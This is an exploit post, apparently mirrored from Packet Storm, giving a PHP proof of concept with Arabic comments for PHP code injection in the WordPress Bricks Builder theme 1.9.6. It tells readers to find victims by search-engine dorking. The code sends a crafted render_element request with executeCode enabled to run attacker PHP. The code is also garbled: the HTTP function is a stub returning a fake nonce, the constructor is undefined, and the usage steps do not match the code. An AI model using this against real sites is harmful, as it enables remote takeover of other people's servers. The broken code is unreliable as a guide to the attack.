Share
## https://sploitus.com/exploit?id=PACKETSTORM:181987
=============================================================================================================================================  
| # Title : WordPress Bricks Builder Theme 1.9.6 php code injection Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits) |  
| # Vendor : https://bricksbuilder.io/ |  
=============================================================================================================================================  
  
POC :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] The following php code Upload shell file from external link.  
  
[+] Line 53 set your target.  
  
[+] Line 45 set your commands.  
  
[+] Line 68 set your path.  
  
[+] save code as poc.php .  
  
[+] USage : cmd = php poc.php .  
  
[+] PayLoad :  
  
<?php  
  
class MetasploitModule {  
  
  
private $info; // معلومات الوحدة  
private $targetUri; // URI المستهدف  
  
  
// دالة لجلب الـ Nonce  
private function fetchNonce() {  
// تحقق مما إذا كانت targetUri مُعرفة  
if (empty($this->targetUri['path'])) {  
throw new Exception('Target URI path is not set.');  
}  
  
// إرسال طلب GET لجلب الـ Nonce  
$response = $this->sendRequest(['method' => 'GET', 'uri' => $this->targetUri['path']]);  
// إذا كانت الاستجابة غير ناجحة، نرجع null  
if ($response['code'] !== 200) return null;  
  
// استخدام التعبير النمطي لاستخراج الـ Nonce  
preg_match('/"nonce":"([a-f0-9]+)"/', $response['body'], $matches);  
return $matches ? $matches[1] : null; // إرجاع الـ Nonce أو null إذا لم يتم العثور عليه  
}  
  
// دالة تنفيذ الاستغلال  
public function exploit() {  
// جلب الـ Nonce  
$nonce = $this->fetchNonce();  
if (!$nonce) {  
throw new Exception('Failed to retrieve nonce. Exiting...'); // إذا فشل جلب الـ Nonce  
}  
  
echo "Nonce retrieved: {$nonce}\n"; // طباعة الـ Nonce المستخرج  
  
// إعداد البيانات لإرسالها في الطلب  
$data = [  
'postId' => rand(1, 10000), // توليد معرف عشوائي  
'nonce' => $nonce, // استخدام الـ Nonce المستخرج  
'element' => [  
'name' => 'code',  
'settings' => [  
'executeCode' => 'true',  
'code' => "<?php payload ?>" // هنا يتم وضع الشيفرة التي سيتم تنفيذها  
]  
]  
];  
  
// إرسال الطلب POST لتنفيذ الاستغلال  
$this->sendRequest([  
'method' => 'POST',  
'uri' => $this->targetUri['path'] . '/index.php', // URL المستهدف  
'ctype' => 'application/json', // نوع المحتوى  
'data' => json_encode($data), // تحويل البيانات إلى صيغة JSON  
'vars_get' => ['rest_route' => '/bricks/v1/render_element'] // المعلمات الإضافية  
]);  
}  
  
// دالة لمحاكاة الطلبات HTTP  
private function sendRequest($options) {  
// قم بتنفيذ منطق الطلب HTTP هنا  
return ['code' => 200, 'body' => '{"nonce":"123456"}']; // استجابة مثال، يجب استبدالها بالمنطق الفعلي  
}  
}  
  
// الاستخدام  
$targetUri = ['path' => '/path/to/target']; // تعيين مسار الهدف هنا  
$module = new MetasploitModule([], $targetUri); // تمرير targetUri عند إنشاء الكائن  
try {  
$module->exploit(); // محاولة تنفيذ الاستغلال  
} catch (Exception $e) {  
echo $e->getMessage(); // طباعة رسالة الخطأ إذا حدثت  
}  
  
?>  
  
  
Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================